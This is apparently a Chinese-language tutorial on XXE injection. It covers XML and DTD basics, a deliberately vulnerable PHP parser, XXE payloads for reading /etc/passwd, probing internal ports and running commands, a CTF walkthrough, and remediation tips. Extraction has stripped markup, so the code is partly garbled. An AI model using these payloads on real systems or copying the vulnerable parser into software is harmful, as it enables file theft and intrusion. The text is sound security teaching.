前言
1
前言
XXE漏洞
XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XML基础
XML
XML(EXtensible Markup Language,可扩展标记语言)用来结构化、存储以及传输信息。
XML文档结构包括3部分:XML声明、文档类型定义(可选)和文档元素

1 2 xml version="1.0" encoding="ISO-8859-1"?> 3 4 5 DOCTYPE note [ 6 > 7 ELEMENT to (#PCDATA)> 8 ELEMENT from (#PCDATA)> 9 ELEMENT heading (#PCDATA)> 10 ELEMENT body (#PCDATA)> 11 ]> 12 13 14 <note> 15 <to>Georgeto> 16 <from>Johnfrom> 17 <heading>Reminderheading> 18 <body>Don't forget the meeting!body> 19 note>
1.XML声明
xml声明以结束。version属性是必选的,它定义了XML版本。encoding属性是可选的,它定义了XML进行解码时所用的字符集
xml version="1.0" encoding="ISO-8859-1"?>
2.文档类型定义
文档类型定义(Document Type Definition,DTD)用来约束一个XML文档的书写规范。
1.文档类型定义的基础语法:
ELEMENT 元素名 类型>
2.内部定义
将文档类型定义放在XML文档中,称为内部定义,内部定义的格式如下:
DOCTYPE 根元素 [元素声明]>
eg:
DOCTYPE note [
ELEMENT to (#PCDATA)>
ELEMENT from (#PCDATA)>
ELEMENT heading (#PCDATA)>
ELEMENT body (#PCDATA)>
]>
3.外部文档引用
文档类型定义的内容也可以保存为单独的DTD文档
(1)DTD文档在本地格式
DOCTYPE 根元素 SYSTEM "文件名">
(2)DTD文档外网引用
DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
XML漏洞利用
漏洞代码:
file_get_contents函数读取了php://input传入的数据,但是传入的数据没有经过任何过滤,直接在loadXML函数中进行了调用并通过了echo函数输入$username的结果,这样就导致了XXE漏洞的产生。
php libxml_disable_entity_loader(false); $xmlfile=file_get_contents('php://input'); $dom=new DOMDocument(); $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD); $creds=simplexml_import_dom($dom); $username=$creds->username; $password=$creds->password; echo 'hello'.$username; ?>
1.文件读取
通过加载外部实体,利用file://、php://等伪协议读取本地文件
payload:
xml version="1.0" encoding="ISO-8859-1"?> DOCTYPE creds[ > ELEMENT password ANY> ENTITY xxe SYSTEM="file:///etc/passwd"]> <creds> <username>&xxeusername> <password>testpassword> creds>
2.内网探测
利用xxe漏洞进行内网探测,如果端口开启,请求返回的时间会很快,如果端口关闭请求返回的时间会很慢
探测22号端口是否开启
payload:
xml version="1.0"?> DOCTYPE creds[ > ELEMENT password ANY> ENTITY xxe SYSTEM="http://127.0.0.1.22"]> <creds> <username>&xxeusername> <password>testpassword> creds>
3.内网应用攻击
通过XXE漏洞进行内网应用攻击,例如攻击内网jmx控制台未授权访问的JBpss漏洞进行攻击
4.命令执行
利用xxe漏洞可以调用except://伪协议调用系统命令
payload:
xml version="1.0"?> DOCTYPE creds[ > ELEMENT password ANY> ENTITY xxe SYSTEM="except://id"]> <creds> <username>&xxeusername> <password>testpassword> creds>
XXE-CTF实例
目标:http://web.jarvisoj.com:9882/
BP抓包一下
将Content-Type:application/json改成application/xml构造XEE
xml version="1.0" encoding="UTF-8"?> DOCTYPE a [> ]> <tq>&xxe;tq>
XEE漏洞修补
1.禁用外部实体。在代码中设置libxml_disable_entity_loader(true)
2.过滤用户提交的XML数据。过滤关键词为
参考学习:《web安全原理分析与实践》——XXE漏洞
https://www.freebuf.com/vuls/175451.html 浅谈XXE实体注入漏洞
https://www.freebuf.com/column/225780.html xxe从入门到放弃